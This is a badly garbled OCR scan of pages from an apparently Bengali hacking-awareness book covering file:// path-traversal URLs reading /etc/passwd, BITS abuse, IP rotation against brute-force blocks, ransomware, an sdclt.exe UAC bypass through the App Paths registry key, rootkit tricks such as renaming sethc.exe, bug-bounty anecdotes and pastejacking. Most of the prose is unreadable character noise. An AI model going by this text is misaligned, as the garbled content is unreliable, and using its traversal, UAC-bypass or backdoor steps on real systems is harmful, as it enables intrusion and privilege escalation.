IR (ATF oM @ | 4w
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J1CENT U

QG TAFCSAIER FoF N T FHCHREL YT A ACS
AN | ST JCTR BTETNS AF AT ©IF, JCHT YIF A
ATCS T [

SR SCEAE $FCo " *ferda A QFio Fioes el
Il ICIHF P12 R S ey (9716 et «aedi-

S Linux sesiea Firefox greet s URL scheme
fecd Enter co™1 s4ceT /etc/passwd T3 sensitive @i

file @3 TGFIM 7RIS qCEIE TR-

file://google.com/form/file/e2dsf4G5S4sdj2s6C8a4
G/../../../etc/passwd

(a6 space =or fevte zd1 %8, space @l fersin
P AfAe® 203 AR ©IF, space W forets 2RR)|
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gme Chrome g®witd error Ay 8, Firefox ceE
TS SR file @3 TG AR AR

a7 Windows et Microsoft Edge @ s
URL scheme fitd test s€=w| Sotad o2 FICH1Ed
secret.txt a5 W file @a TWHE FAfFg ST ARICEI-

> file:// google.com
/form/file/e2dsf4G5S4sdj2s6C8a4G/../../../C:\Users\

userName\secret.txt

(s> space @l fdte T &8, space =@l b
TR AfFafee 2 A ©ig, space W forats gR)|

58, et vFre @y https scheme @3, i QaETe
fFs F9 MG open F TR 7 (Copy-paste Fear Frsz
ferate 20| fo8, Wiy witgwE @b s https g& s
237 [e1eH (B 1o FaeTN-

https://youtube.com/channel/entertainment/blockbu
ster/episode/new/../../../../../../@file://google.com/f
orm/file/e2dsf4/../../../../../../etc/passwd

(s> space @l fdte z@ &8, space @@l fas
T ifFafee 20 A7 ©ig, space W forte zae)|
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(o1, 93 ¥3 OF fFe @2 visit a0 T89S W W
FE-

«g fe1i3G youtube.com/channel/entertainment -a e
I, OIRCE el FAE |

QT 2 6 fefest 956¢3-
* @ @F St S 20 A youtube.com,
* @ O3 A SIG 70T T /etc/passwd,

939F Youtube 93 [Reiw Fiemifera oy S Sooq o
5CA FIE-

youtube.com/user/etc/passwd

G NN AW ZFF N 208 AT (@B AN qFew hes
w7 fWree youtube St MG Ite WY (I @I oS
e )
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Ime @B EEet gerseg PifeeRit fewe a1 o,
Firefox «3 a3t Aifdwa cFet 307 wiwiess wfecez)

G AR @F, ISV AN 8@ s« sandboxing
Aaie TR I ACF | TR, FITEIFT Open FAC JICEIEI &)
ST @b I process (parent process) o 27
o4, JICEICH @ SIIIRG (ACA, CTRTe €3 I Process
a3 99T semt siemi child process e AtEF | Siwl
el Process RESAF IFG Process FoilkE Sid ey
process 4¢3 I access Ao A Il [N,
STIIMIRBRCEN (I Process € ey (el (render) 23-
TR Process U3 el SwF FN ACF| T, A=A g @3

TR (RS FICEIET F0 *+FA FaeHeT* process «d
AT |

kG Amfod Ay

OFE & HIREL OF0 FroPd SINRD Cofd T YT AR
SeIE fTeizeia es9 7= control e A= 71 7=, o
SNLBH  WoNE  Fewias  dwW wweorHe  (limited
pPermission) process @3 I« I FAC| AN (A2 JFh&
SRR AW file upload TR w7Fe AtE (TR, S
feorge file & ew@aNEG upload =) @Cw@s,
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SUAIRBA Process (& AACT JCENF Y& Process s
e @I (IPC) s4te 263, permission s a1 SI9,
a9 permission g 8 (12 SIENIRE ST I
fTerRr file AT F90e ARE | ©F, ST JowF FIF
T ISACE @ Ffod| ©F, Y I MRS [0 JICTIER
A A @ @ S te gge Sitr) ARIE
oW A | FARCE G|
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ALY 5D YTV
BITS

TSI AT SBIATF SR FI& | OF2H8 FIEICY
SOIALS TSR I @I [T IR =itz <o @
Windows <MCoi qgq I AN ©IREE, ST
F%oicd BITS scaezl @it 2t Background Intelligent
Transfer Service @3 7@ Fo| AT FFTOICT Tga
update 2 @2 BITS @a MGIZ TEAEIC 27| O, A2
ARG O SR O] IR @3 BITS @3 Ik1d
AR

kg g T AR, TN~

* R F2ARA I 2N SACADCT N2 FPATOIE Fodd

data SMiF-awiq S AN WA A FEACOE T FE ¢,
IR T8 AT A S FRCHICIF AT ey =@
T AR TGS g (< w11 58, BITS a3 a3 semmi
Af I TBRCNE (@ IS IR, ST A2 B0 S
@ slow 71 =@ ™, e BITS Im &9 update
TIEHET I F IS AF, Y AN G2 TISAET pause

92




———W391 Sired SfF by W3F

(a2 M1 @9 T A BT (O (&I IS FAE 1,
O S[IE ©leaee play W1 @A FHCOE reboot
FACETS ACOIRE CICACENG I ARG, CTIF (ATFE AR L

TITHCAG ©F (A1 T, A @2 BITS R @ C2
ARG IR WO F(F Ffowd data ImE-gwiT I AN
Selfe SIS reboot FACETe ZFIT TSNS {0 AN

* BITS @zg ¥ (it update Tiewce 34, ©iF,
@f S-Sz AqETe BITS @g smw-awiq <1 data & =feaq
AT FACI 1| B, TS J2AHNS OITAT IS I @ACO AKS|

iz, AN aM FEAEOE e @ F@el a1 W O, W 4
malware activities & @@ & F =T FoF A
see Arife hfewn fzee Wireshark a3 swer packet
analyzer R FACS AT QR FPICHIF (ATF BB
S-ared traffic s F9ce e 8, @9 FhE Twg
B0 W2 FG QFAIDA BICR @ATS B | GFAM |

93



———W391 Sired SfF by W3F

IP Rotation

EE AT STHIAIRD I AFCETS SIS 0! AFCI| T
SeqE SN2 DDOS Si@seed JRIEl A1 (12 A
STIRAIRBT OFICT T F419 &+ ST brute force @3
TGN ATFE ¥ @ password e login S99 (681 F<31
Q19 oy e SIS Ao Fod A= ce -

> G FIFF ZeT SIAN2G (ATF T2 IP 9wt block
3 M e Waem 2T TE|

fog, aT o[ o e SR, el fey [P rotation
G proxy TIRE 3¢ efefze fareme [P qig Ao F<ce
TFY| O, A @I [P a@d block @ Weere, Somiga
ey I[P @@ block sta wee #fiees & @zrer, cloud

system IRIT I8 AFANY IR P Q@ (WF A&
4 AR]|

SACE SRS AAIEH- I I wEa [P ag block w74
AT IS (FC T Al B8, 93 0 ol O FAPMA
SR FEE e user €3 @b social media WG
@ ¥ vulnerability st mea ysas e 247 3¢ =R B

bounty oAt NG

94




———W391 Sired SfF by W3F

[ Only For Awareness Purpose |

o7 o1t my=-

google.com/lylal/ se/Slkl/ae. e

a5t Google @3 o ©ORTET G FAEAHI ToTO QRN
STIIAIRCGT N I 67T 16 TN Wi beeT 0| I, QL
google.com 2tz » & file «z =13, @ AT AT AT | AT
feret lteT 12 google.com 75 file & wiwteT® 2y A
QN SWIF STAIAIREA [Fva ferets ¢itst google.com wics=
@36 html file TreateTe 23 -

intarna.com/research/google.com

O, SN SrIReed file & @it wfowa 71 2rere woA
QO IS Fhowd file Tewtee S Mre it Ims
93 Ao SIS AT U (FIFLF U2 40T o1kF comment
Face ¢iteT block s 3 8, w99s 749 block zsa fere
show F@ ©3F (18 fo1@ google *=H2 At «4F (post
a3 Wrel)| o2, @2 erEEs’ W3 blocking system @3,
T @Y feTetda comment 19 T AFCO AT | HCe,
1 92 R0 S 7 oF o1 oS 5 0 e (i<l
PR 20 | FIFE, ORI ©RGEH- Sat cof Google @ file
TICAETG FAMR|

95



———W391 Sired SfF by W3F

Ransomware

A1 I R

S FEATEI YIF T AR fF1- I6700 A2 S Q15
el AW EEee Aifd- w¥@ malware &« I [Nfere
FIICLE FIF (compromised) =0T Stz L5, SfHFIA Mg
Y NI AR oTF S2RIY (AT oo (AF2 e
ffqem W I L6, AWE 963 AT A (F, SOind
FTOE RIS A SR 1) GT AR (@, SECHE SCAGNT &
o7 7= **ransomware** Si@el| YoTs, T FIA6! 2R
ransomware SN AN T FPA- ARAE  FA2[EE0
S[oFE FEATOCT AN G0 (AT 2t T Weel- (ol
SR FIe51T file @@ encrypt 3@ g W3R @12 file
STl SR g (R0 Fre 5ige sedfias Wme sffase
o1l frew decryption key fte zd1 @612 ransomware
@ | S IS S Seeifos e Reuters «v
@ Sl (R (@, 9% ransomware S FSE 'L
cirTe A7 Afed™ JBS a3 fifersw wera foce qray 2@tz

Od, QI8 O AT @, WA A SENE WG, AT
FCoE e file o=y @ite swewwd (backup) @
@A | I3, SRR SiewE SEsEs file @ encrypt

96



———W391 Sired SfF by W3F

3T meere S o« el @E @12 file e oy s
AR, T, AWM oIl Moo T3 1| [F8, aI961 SR
Qe AR O AT SI@ SofE Fesieas file
eNE encrypt @ 1 IR, SRR SN i
wRfefee 7z e file 29 ftem 0o N
(exfiltrate) M@ =@, =oiF IM SItracE B e wRIwE
ICA, SR O FHE [N 8 ¢7F data R0 2o
meyF aufs Md 93 @ANd- fFaene 99 9o @I CToEs
@NmT o FF IE AP @Nm FRE G/ G

ransomware &y S0 R

T SrorEd 7 2oR- @i S™fe Oitel Sl 9 AFeeTs
ransomware SIS Fh ABF| FI, FVIFCD SHF [P

ransomware s JCAC2 | IMS GTEF FICH S 0 [E7 A
TS @ (@, @] ransomware 2tSs SHeiae Wed S
AReE MR HFeRT corifEEmae a7 Arega S
@RTT AR TR F99 & | 8, CTete  id ToRdars
JRIT 4 &F AR (18 AN, IoN" REVil @37 Tto! Sita=
% 5CeT GTACR- FE LN ransomware Si@sees < sieas
QT PR W, U e *ife=e ransomware f{fes
ST S F[-2 T A |

QT 2% TS AAF- @f SI3a @@l fF ransomware *He
FACS AT 12

97



———W391 Sired SfF by W3F

A & SIET- s PifFe FFs Teo e A, SRIFTR0
freaE s = fcafeet? 2038 FAita #*EC-Council** e
T AN GF AT THIRF | I, AT @ B-SIRIAFT (9 TR
CoflT F(F 97, VY V@2 el e, 7 &@eF ransomware e
OF5-SRINT WTE *Mie FA0o A[E| ©[, IR AW OPE
s[res ransomware @< payload el fNery **crypters*
TR FE encrypt I =191, Sixee «f5-SRam s I
1 F9, Tga update a1 =T 18 @0 @fFS-ozas e
C/CF (FIF g W SAIACF * IS FIC© AT |

W N SoME FECHEE & ransomware Si@aees
e g 8, @7 ore @ TR 7@ 3w, @R
ransomware Sieas SN S @ I8 AfevieE G5
I | @K AR Fifeekba eo@ ewg T Mo wewifes
AR Swwee QG Ffo T @ WA AL, TTRCAG
SR [T SRR BLAe IG SoF TR- P qF P
287 #eifie et Sl [Jow 68, o2 IiF 2 eiee weif,
o foIg QAR S of e fm |

98



———W391 Sired SfF by W3F

UAC Bypass | =R

Sroff T GFT FEEOE PIEET AN FA IACS AR, (12
IO (AP (18 PIETCET W4 YIF A (PR FECOE
T TEeE command M fFRem I (@@ W R, G
f=torer com S48 B | a&wy fN=rerel FeEwes bypass #4231
ST FESOIET SR Preew I Windows 2@ Qits,
iR S @@ T **UAC bypass** «a Ti<ges Zifee
G TP RS A |

Windows 3ot Administrator @Fes «@a smrenf
@ % user «ICT A F, IHTOE  @IF0
Administrator @FTT @@ IS FACO € ARTOT FACO

AACAS, AFG AT USer FAEZ PR I permission
RIS

Q¥ WG Fw«- 7§ social engineering I, THER (i
ATT QHTG TSI BTG FACE | (R TSR AW (oA12[Ce
&) S Sicg Administrative SeEife ot Seee stel ¢
IC-

99



———W391 Sired SfF by W3F

Do you want to allow this app to make changes to
your device?

M ALCEN- @oiee **FUAC prompt** e sl Jw
**Yeas** g fFF 9 IAw, OE WASHHEDL T8 FNeoIE
1R e SMee AR N @2 Seufes fTaat UAC T
CATRTST 2 S|

wd, Windows =eorta «aw fog **auto-elevated**
AT AR, (TR WHNE Fe0d Administrative
(STCOCET FE FRACO BIICES AN (AF HqAS SIS Tef TS
el #*UAC prompt** @Lg 911 QIFN G0 i 4,
afste - *Esdclt.exe®* | S TAq IR Qi
¢l update @, 9 12 el @t backup @sar =
Q3R OIF°F Tga update CIewteT® € 3976+ F4l =¥ M, @
FR TgT update PFOIE T T T SR ST SR
7RI restore I | WH, W3 PG I FCA ACE G
rgdclt.exe** FNT AN 58, 4G SACNR Jeren- o
@3 auto-elevated ciam| w2, @ ST W GT
*rgdclt.exe** -7 w4 Feoitgg Administrative
CETCOCET DS R WO AT, ORCT AN FICR (&I S©
BIZCS (J |

100



———71317 eires 87 by W3
58, MeeWR f[Feg sdelt.exe -& W@ FIw FA3?

FeoIa 739 sdclt.exe QG & =1 start Fcq, oL
@ e Fi=ieel oo Sferfe registry cea= check wte-

HKCU\Software\Microsoft\Windows\CurrentVersion
\App Paths\control.exe

&8, Windows S[Toitad (12 I A8V (FINPg (3|
©i3, P12 = AW value feeiea **cmd.exe** @3 path
focd orew =7, Ot sdclt.exe T4 TS T4 €F FAE, O
Administrative @tetst @6 command prompt oie
#3158, FMIToR f[F8 WBItT e R *Wie 39
;. Fe, @61 of Windows @3 ez @3 9 oy
(sdclt.exe) open stz w6, @3 “@mfste UAC bypass
Fa 9dew attacker @@ command -2 run FCe AR

SIE, TOF A

101



———W391 Sired SfF by W3F

QAT FoNOT

Sed SINEl (FRRd Aafes g vulnerability t, gdee
T SCEIBAT FCA1| R 93] gers! 40T @, A (TGS
TTFE Al I AT |

# S[THIF $3,00,000 B

@ live fofvs s<te, @12 fofves g =i remove w1
| Ime ot @ (12 live fofes [N wtates, fof@g s<re
A, ©w@, *F*Ahmad** I5F aIe FFE (FAIRE
RS- o e e S live foften fog wes

remove J€0e A

*ropie gR-** |ive fefbes fFg @I remove IR T
#*/api/graphql/** -a @3 request =PI TF AT
live fofCen id war frem Foiges @ersd id [T I
AT live fefoes (8 5exl remove F4ce Akce!| a3 749
fof (FIIRCT T, O (FAHF OIF $3,00,000 BIF AHE
AV FCF QIR TS ARCHA A2 |

102



———W391 Sired SfF by W3F

# *[RI4 80,000 BIFT

Messenger ¥t S« 7412 @ieers, Messenger Kids
WHCH WCO! IAR2 TN qll 9T app IR & A
TR & AF 0 account Cofd FICo AT 4R 36 (TR
QFCBIE T ABIF Nfwolks Reta select 0o ARE|

&g, Messenger Kids @3ies toff a1 %9 FI6(F Sfoos
21T select F91, T wiveRs RET select T TR,
fofd 513CeTe ftes WfoeRS (@ATF remove FAcs A[ced 7|
I, (P 9FFA @9 option ER | T, aFEw
SORIEA IM oWy IS Sore ¥99 & Messenger Kids
GFCT COff F(T AR (T TOfG FAC® BIA- ST Afoo[GH
ferrR select @ 3, o G2 e (Sfvee) e
TfveE @E remove JFace AFcel i wE, foq M
SR (S @ block stae @+, w98 Messenger
Kids aaCT @t ©ite Sope F41 IE| **Samip** avs
OFEGE YFE I [EAT R[S AREH, o9 oF (0T
ST | TCE, (FIF OIF 80,000 GIF! TFE 2T FF QIR
Fece wieee Red select a1 zere folq @ e
remove s A, (12 option I& 36T (M|

# 29 b0,000 BT

103



———W391 Sired SfF by W3F

S 632 Sitaw- (@ [Kfom event @3 SiteE F10 I
@- fF @, live @ifveie Twyifne o=y Wme wifsces event
cofd 41 =W @99 event @3 e interested «itwg @<
S (T ACF | S 513018 G 56 30a T 20© A& |
O S8 MAte AFE @, WA interested| 8, el
Cel Btk (¥, @2 event @ 9§ ¥ interested, GG
SRS J (YT | CTCHE 29It hide 1 A4 936 o
wicz | 8, **Vivek** e qFew T FATICE MR-
feoitd @iq hidden cFRTE @l @3

AaNS R- ANE IW G (&9 (FgF @57 mention 31
2F, (T2 a0l S member =T; SIRtE WP =ItE mention Ft
FETS AT AW F6 2R 06T T AW BT @R Al
SR SeEE AW 9N @9 event @ mention ¥ 23-
AT S member i, SIRCT SN TN AR 06T I
A 58, WA @At member 2@ A9 e W

hide Fare ¥ ATF, T AAITE Mention FACT AT T
OS2 (AT A | FeeT, privacy <Eaf siw Qe =)

% 0 T2 Vivek T aaee iale (Fgaed S, L
(TS ©IF bo,000 BIF! AFHE 2WIF FCF W2 privacy F=icd
ATSAT 2MCF &= FCF |

104



———W391 Sired SfF by W3F

2, IR AAF (FIEF GFD YIF FF ASAF FAT I,
OIMACE A MA- "N (FNgE FIF FAco A [T

(FICR2 T8; O3 (OIF (&I (&I 5l 475 M

D 03 e

105



———W391 Sired SfF by W3F

TR ABSE TN

Sl ST It el wew Adifs) @1 e ey wisime
AR 6 T Sie qeeR) Rgye B It St
SZ-FIZ BT (ITeTe JICFA SAR-FI2 52 AF | OIw Sy
FOSAF DISTF ACACR; (FB] AT L[l ITRED A
S| Ot (ST ey fFghl (Frogal foe «aow «Fe
SRS A dCoIas UPS fae oot ¢-ee (A
ey /e (BeAF | T, W AT (FORT WS (@Y CICel|
QaTE] e #*intranet **9g 89 Trizad |

*+5g, 1T (@BSAR FeorlF Farom o+

ARTO!, O3 (0 SANIA TLICT T SAFOTAE FIS FAT- G
AT QIR FOINWE @ OSAF THCH FCOBE W SR, A5
| @IFA (@STF oma A connected FHSARF T
29TF T2 TP T @ACO A Teed 92 [ JHe
NGRS

ETS, TR (AT O3 LR (B SNRH AN TS ACOITET (A
ICACE, (1R AL SfFHg @S Wwsva M connected

106



———W391 Sired SfF by W3F

AR SHF6! it @3 **rpe call** @3 el Fe =)
A PILFT AT LA BIFT AN, S =4 12 7w
data ot AR 68, TG TCR- IO ARFA (AE S
e data Ao F9F R AFCE QIO TP FIF TJ
(TR, (2 WF 249 FAFSF account FRI I AR
MCE Sy SR data Tie S Ted) i (12 data

&1 encrypt S ransomware i@ R [ie Siewa
B WIST F418 7= |

SRAE, CN-FCN (FAPE FACe, (13 ©2F Ol ©Iid (0 STHA
S-S T MT ARITIe, AT ANY SRERTAT FICE
Tl SfFeTE FFI5ICET At console TSIz y& w4l 20©
A SR, o SIfehRe (BT [ToORAE NES
FoeAFT fCeRe™ A FHE connect 341 2= GGItE
**Dual-Homed-Hosts** ey qte11 ciestae Sifehre
B eAFA Te3H T T & (remote) @oeAHa o
T T Y2 NS A | AT qFG T I AP (1R
remote FoSINHE AR ATEA Fi-8 T, TS TFCH M
**NetBlOS** enable its o=, Wvs command
SR QUG ([T I TRA4-

> **nextnet <office's local |IP>**

ORTI8 FILFT T Aeeiresed **SWIFT** Foeus

107



———W391 Sired SfF by W3F

ICACZ | O3 @0 CTF AT FCA2 G LT (ATF 00 T
y ffere ToTle Tie TRMRCEl ©i2, @99 @oeTF Narem s
o0e W3R iSRG comifEsmeace Mo (ren seifegd|

108



———w3q1 eITed S5 by W3F

NI 3BIREAE QIS Bren3 ar

SRR AT WO ST TG 9F6 G 4F AR
G1fS = "IN B @ BIEIR 711 SR IR YIS 26T ©F
@2 SN A, SN TR W AR FAE S
SASCFCE SR P AN Y2 @)

O30 TR ST TH-

A TP AT (FAGF AT YIF A PR YT T4 2/
I T2 Gmail 9FeT AReT I WeeT i [PEE
Gmail 9FeTs W0 W3 S| Sl 5130 8t IBIF WKy
S Gmail e e login w6 Fiwitss Gmail @SS
FARC (Ferce AKE) 8, AT I 8/ ¢ W= 21999 2BIFCND
S0 OIRCE O SR YIPE AN AFTS D e 5eet M|

109



———W391 Sired SfF by W3F

G- I¥Z SR 1GenR

SR TVIRCAG AR TR G JACNS G0 ST JIOWR
open | ST o e Scpe 8¢ Google, Firefox
3OS A A | €, TE S-S SR STIF e
ACACR| CTYTER N (ACF GF O FCIP0 8P 8RR
IS N ST FACT

Google

Google @3 31 co! TN FAIR wf| Ao @ A FETS
faferaw 16 ¥ Google ¥R e =M, Google «sf f3F
3R (NS At A, A Sa fEge e s

DuckDuckGo

T THREE Few afeTe vy J@fee ace b, @Fer
@ o2 DuckDuckGo iREE 6 At | S, «o7 facx
S 7 552 A6 I 1 (@FCI- Crete track F9E = )

110



———W391 Sired SfF by W3F

TOR

At &9 STIE 7 AT VTR 76737 (T2 G SRR (@heT
STIMRGY fOGFa It **.onion** @A ATF, WK
S (@eg a2 TOR Ficena Mg ot &40 11 (12
Y, AT TR0 AR TUE 3 8FF JIoH TR
41 A oG [foy f-comie TeE W3 St AeEE IR
IE ACE| 93 S JC&E W THEEs [T FAC
TG GFE FIF T FA02T ©f T GFANZ TS|

Ecosia

Ecosia SR FCeRG SR SEay| 92 SR IS
fwom @Ry @2 “fawe 9 T 27, ©F o eI g
ST Sy STl 2T (Tl 2|

ARIGIE A8 SPRYT SIS Jreed AR g 7 e qrew
(YT I (@ Q[T [R&@o wate 27 1 8, ot
7R FAce Gl ed subscribe FEte 2| ©@, A0S SEFR
JICEEE AET F (BCAI- A GIB1R AR T, (T6! AF_I
A IR ES 0L S FFS A

111



———W391 Sired SfF by W3F

Rootkit

3{CoIta rootkit Wty @ <=9 malware UUFcs ANE-
@O TAGR® FMFCH WG F20oF e @ 11 S,
F[COICT IW @919 rootkit 2@ 0, SR (13 IO
It rootkit IR AN e A SpTEd|

Rootkit €s s1eeel

A2 > T oy fa- s & so St O Sifee,
STt faem N FE=? A oo |Qqrowm I F I; FEH
55% Waiowm W S T LB FI9A SR @AV 4F79- @30 file
93 ¥wre header s @36 oI At | A1 file v «ifasx
CF| ©I2, I @0 ST @I file Seteme F9=- =

header « stz PDF @3 header <%, file € data k@
oy feaa code fertd e siage, [Reag g s s=e &ga
93 PDF 2@ T3 @30 WIesTyi{|

Q¥ & SN WP - rootkit @ sl [ -

112



———W391 Sired SfF by W3F

STOIAR heT Bl BN Y AR PSR ML) =g, @3
TACED PeEY afefie (R JUSWH TFRIFT I, T
JREE F9 =il check w1 =1- s1esEt W (user)
TR A, JOSWRT R F419 Wesl privilege i,
wol O Wiz 911 Windows FISoa M wizael (rs
qF| AN I FEACOIE (@R install I 5w, o3
**run as administrator** e &Y FIE, AR A,

normal user eI SN Wbl F9Ce AFES T oI, @I

IOPL @3 stsl  sensitive =33 check =9 s& at3-
F1eoid kernell 8, @2 kernel = @3 AE=- T9
F component A, S WitR| ©fF, @6 AW W
S1eIEs kernel Gtets@ privilege it W @3 GG
(ring 0) ¥teT driver fZoa =feaa g & I @7,
OIZE e QfT SIZARTe GIoNSE *Mie F900 AR 7| FIE,
Fiwer driver ¢ Stwe @fo SRFM scan IE Tl AR,
driver @3 & SF AGFFo8 TFRIYF I I, [ 7,

Windows T4 518 F(F (¥, FIC01ca @36 driver k9
F1 I 91 ©1 #31R driver @3 AGRrwnd wE eFde @7
ol

©IZ, TAET WD rootkit 2z a¥T @F WA STTA-

* @G kernel ¢Ttete privilege Wt sre st Iws, <Ko=
wreficaite Pre3T software eTtete=e 2re S|

* FoF restart FaceTs rootkit s |

113



———W391 Sired SfF by W3F

QY ST 2N FAEA- GG e T SWE FEATHICE
rootkit &t FAE@?  @¥E-  Linux  SFEoIE
**/etc/sudoers** qiws file & edit s privilege i,
FWol e 7@, IW s password wEte A 68,
Windows eIt ** bat** a1, ** exe** file & run
as administrator st wrm2  system  file @w

permission =iiel A TCe, Yq S ANRL A2 AFGH
Jfe MoAFE IEACONET @bl 0O ARE! SQE, SIS
FICoIaw TP access ¢t Windows SesiEs
**gsethc.exe** & rename %@ user password #fiaes
3@ login ¥ VA WE, OF7E regedit 9 LN
**HKEY_LOCAL_MACHINE** (AT

CurrentControlSet @3 s®ve key @3 value ~fiaes =

rootkit 2@ backdoor todt F@ MeAT TRE| ©&, T
AT IETCAT A1 (ARG, (161 (F9gF policy -7 [eta T

qZ @S, ICOICE rootkit 2t 7 17 THREAL FRE
I(EZ AT IO 12 Ifea FEATGIEE Y connect
20, O command SR S Fh0e THA | TG, AN
FIPACOIE FATO2 AR 1 (@, @b «FT WEewE IR, a3

rootkit cor @3 oIl MTErNae oI T Mz
# TFSIT *I& FAEI?

114



———W391 Sired SfF by W3F

@FCO3 J(ER- FPACHIE IW A rootkit 2@ T, Sz
(12 FIOOIK (A rootkit =R RIS e A Sored|
odie, *[ (3 FAF “Ae, rootkit @adFe JTE F91- *13 AWK
RTF3 I FIEA, 209 AT rootkit K FEICoIET Foes
@7 firmware a3 3ty AR 61, BIOS @3 sttay) si#ltee,
USB ¢Fgid®e @& live boot @, i3 WeewiR &
SAICAbR PIe3eEe 3Ttd rootkit Siere Sietafbe Peses e
I AT (TS AITA- (@ 21 A0 1 9=2Cl, FFEoF QAT
oG @R traffic Ae-wen F9cq, Gt analysis
FAE TN S [T AWIS 41 ALF | AWS, A2 AT+
t3- rootkit I FICoE @RTF TR AL [ivey T
ts| ©td, OG0 gifes analysis IR KT SIoRIdIS
e FAE GI0 AR AF| TG, @ ®E YIRIET [T
S| ABE G TAF YIFIE AR, WAE [iera ©a
ST ™ A@FS L& [T Ao AE &) 9, I8 q©
FIFEa rootkit WIR SeEwe F99 o8 F9d1 ©Ig, rootkit
(RTF AR

115



———W391 Sired SfF by W3F

ﬁFf 332@?%@35}3{

(e FIC Zifee F0o FfF porn SEFIRGT vl 23| 58,
CPCAI? SN @2 (@RI AOre AE, (S AN | TS, do I’
Sele SNIAs (aee B0 AT AT WHTNR StAs fFeee @
[FT @F g4I SRS vifar 279 Facel| e 91
FPATO FCH-8 P o fofbe a8 Facen T8,
ORI JRIT IO a1 TR PR fSfee frewmg ofrer /1
S| I, o4 Google ¥F TfSTe Ureitt TFe e A
A AR AT SAEC RS TP P10 3A Y Srwad
SICsE S 0T g GG (CANIRCS Wy Sdiest| S_iE, S
W YIS (RCT (M AP W& (AP 99 TS 6
ATl SN QU8 T SCR- QFAE Fd AR SN IS
Y GG AFEAE (G2 i g wfbe e e ;
I, GR @R fE Qe FHRRemerr fefee Wiy e
freafReetl Geo/) SN 99 (g IRt IR e By o q141es
M- SFER FEEORE ({F scan I S &) A6
3oz

T @<, do I W G QIFIF (e o= ofs| 5%
(TR B SEeTor #A TEHH I ¥ TN | A, 05
e e anti-pornography war SiSs SR@GGR ML
(T8 AT A 7l A SIIAIRG A (/e block Fea

116




———W391 Sired SfF by W3F

RS | AIFIF WMew [, ) 8, 9te I o @dl Iw
2 f; ©retl 992 VPN @3 9501y sige ifs geenz|

qIB @, SAF A 7 L T0R- e FIRTold W@\é@l (e,
NT Ttz oW IR0 qreifegs Ttre Youtube a3 Stel
AT o« fofee Afam afme, wws IuceTs forem T«
W @bee facy MAitas A f$fe w5t Youtube -9 @ @3
e s like =1 12 fofoed IR s (o fofos) o+
STIAIAIRG AT FAT IRFAe FCT AF | 9=el, Youtube
-q ferwe, e, Mrrrpee Yo e fefeste Teer 7=
s FB Youtube ®F @9 T A1 ST SRS
OIFY TOfL8 IAFTAT FF AMHF| T[S, O AL W, 40
wima Youtube fefees title -« pron *=fo foed @3, Ace
33 search Mo e e “rsa A3

©{, A A o9y g [T 79 Si0e 2@ FER| @96-

* oy Py SERAREG (RT3 TF STE) NG @ <0
It o ey fion S99 fefes siitee w41 23|

* AP SIIABE BYAG AT A NS @01 fofbe
Il Y|

* SR, SIS GEE) SR Wad pee, enema fluid
AN« 41 230, fart F99 fofoe @A = 91 9w 99 @
fog I79 2> SINF @3

117



———w3q1 eITed S5 by W3F

o ToIted [Rghe @ATS (00T BllR| (et ¢ FIfRR 4,
carding 399 ¢F@e @3] 29 website ITRR IO @I
qE| IR, QIO FC IO H6e AR [FeNl- (6] THIZ FACO
T ALIFel SIAREG (12 I block zex A== AT
5, oI« 3G AYFTS AFFN AN (3| ©CF, A« STIIAZD
IR @3 TFI9 26T T8 g Fg

AT A STIIRGETET block FaT ApteTe St 3T Mg
fear, Siefra ezt VPN 2wl ot 41 %) ©iRiel, a2«
ACACE (NAIZE| O, S FSIFCF O LR (S A=A
e Y|

118



———W391 Sired SfF by W3F

HTML 77¢3 NASA 3257

JEemy Sl PHP =picces source code @ 2@
ficafece g@te At [Eae THIHEGT AW oy SRIAR0
(TZ =S AT BT Lol JCACR, (TR THIFHCACSET Source
code -3 T I@ RSy s IR ©w@, PHP s
STIITANRE O o1 ARG A1 IR, SHIAIZWB o1 S
g®- HTML| Sireite Siaees S& aed e 4w, "HTML
e NASA TiF 341 Fife?”" S AN QF3A6are FAT I
qF;, 78, Owa s HTML & @5 &1 9| @3998 (&%
W omE «2 I & HTML & e S0 363, GIoT RIS
cal

AT T Y- TIF SRR (IR TR THRCAB) -7 TeAA{eg
SAIRG ATSIS AR HFeT STIIA2B-2 (o e HTML e

W3C g3z WHATWG 5% community =it @3 =y

maintain 9 g AF| Fe oy $r=enes (Rew s
werias *(foR Ao @tel) REST APl w5<ee 363 Ats | Tl
API 507 St |1, sitwacs s mifsz-

> API| Z& @39 @30 coflaiw, @ @F <3t e data SiEs
STAIAIZID (2T FC© FIRRT 341 2|

119



———W391 Sired SfF by W3F

REST APl @@ w2y caqead ¢wea JSON, XML fea,
HTML R ool e 4t | ©IF, JATe3 AR STIIeR0
GO A1 (A $F (A IR0 O (A7 A1 oI HpeT
wtaz HTML sfoe 25023

TR, AN ST SAR-FIZ FRIT FE@F| SAR-FI3 MO
switch astere wireless “mfote Aeoiw Ate Fcel data
SroE [ToR0T SR, ETete hub @3 Jter oo =7, e,
SR & AT data (T2 ATBIE (@& N0 AT @ACS
ACF | SRCT A FCOREE THT (I o7 [TeiReT ¢
data oty em =1 WM, @ data e fg HTML @3
AICN2 ST /E S| o8, ACoE 799 @99 data
T2 A0, O A9 GBI A AeoIead @99 data -
copy e #i=ta1 o7, e encrypted html s2rets
decrypt 9ce ARER WA TS FheT Oy ARFRONT
R TS|

ORIel, I S TN SIRGE source code @TF @R
Javascript ¥z @@ 391 =¥, et of HTML @3 St
ATF| (T2 N, STAIANRLD ATI FICE STIINNRCF I 2
SR e @2 TCP aG<vee™ My connection o
3, 513 TCP 25+ 5@ HTML 9 Tiaiewis afsfoe s

120



———W391 Sired SfF by W3F

AT, SIS STIINRG AN STTT JOTA NLITT AN
HTML code (key:value) Mtz sit< g AM612 F90© M|
CICF@, AT STIF ST @99 code ¢of o Fare®
YFE| ©R, AN BRER @ Ao I M@ o
sensitive $27 (oIt (ACS AE | RO 7, ST AT Fifwe
G 7 HTML @3 4rares 271

T U, 8RF PR «@F 27 &g HTML @3 T4ee 0|
GIoT @F o5 e, 2t HTML @3 oiiae safol 9@
4, ABIZ AT | FI, 2AToA @02 F3IF RN TeTod
FIRRC A

121



———W391 Sired SfF by W3F

Copy-paste i o=
PASTEJACKING

STITRD (A QI (14T copy I, 8 paste F919 37Ty
Sy (T paste e N JE? GNF6] AV FA HBT IR AF
“mfors Pastejacking I« = wecE @3 smieiv W
FCEON FECAT, TCO IS AMANIT AL IR0 AN |

TR STRRATIBEE CICeT (AT AAIACIA- GF(6 (@74 COpY FAC® Il
=!8, @12 @14 copy 9 7 Notepad @3 Sty (12
T4 paste T =45 @741 paste = AE|

